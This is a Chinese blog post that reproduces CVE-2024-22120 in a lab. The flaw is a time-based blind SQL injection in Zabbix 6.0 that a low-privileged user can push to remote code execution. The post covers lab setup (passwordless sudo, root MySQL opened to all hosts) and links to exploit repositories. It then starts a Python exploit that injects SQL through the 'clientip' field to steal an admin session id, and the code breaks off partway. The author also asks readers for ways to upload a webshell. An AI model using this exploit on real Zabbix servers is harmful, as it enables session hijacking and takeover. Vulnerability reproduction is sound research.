Zabbix低权限SQL注入至RCE+权限绕过,可惜没找到关于传webshell的好方法,如有大神告知,感激万分!
本文中所有代码以及后续更新都会放在我的github仓库中:
https://github.com/W01fh4cker/CVE-2024-22120-RCE
一、漏洞环境搭建
1.1 下载vmware镜像并设置
源码地址:
https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz
Eclipse搭建调试环境的参考文章:
https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ
直接懒人一键搭建:
https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz
解压之后,vmware直接打开vmx文件,默认账号密码是root/zabbix。
登录之后执行命令visudo,在底下添加一行:
zabbix ALL=(ALL) NOPASSWD:ALL

如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试,反正我只加这一行就行了:
https://www.cnblogs.com/gqdw/p/3844881.html
为了方便测试,我们可以本地navicat连接环境的mysql数据库:
mysql -uroot
SET PASSWORD = ‘zabbix’;
use mysql;
select host, user from user;
update user set host = ‘%’ where user =‘root’;
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
service iptables save
1.2 漏洞环境设置
然后就是需要一些设置,首先需要添加一个用户,但是默认的User Role是没有HOSTS的查看权限的,所以需要先去开权限:


然后至少给一个读的权限,并点击Add:


现在开始添加用户:

组就选我们刚刚设置过的Guests:

角色选择User Role:

为什么说这个漏洞鸡肋呢,提交漏洞的作者说了,需要一个低权限用户,并且该用户需要具有Detect operating system的权限,但是这个操作默认的是没有的,只有管理员用户组才有:

需要手动设置用户组为全部或者Guests:


到这里就可以了,然后按照作者给出的复现步骤复现即可:
https://support.zabbix.com/browse/ZBX-24505
二、漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
作者给出的脚本如下:
https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py
他说可以延迟获取管理员的session id,但是我本地复现的时候获取的全0:

登录数据库发现,有多个sessionid,需要加一个limit 1:

因此我们可以修改代码如下:
import json
import argparse
from pwn import *
from datetime import datetime
def send_message(ip, port, sid, hostid, injection):
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “3”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_l


3262

被折叠的 条评论
为什么被折叠?



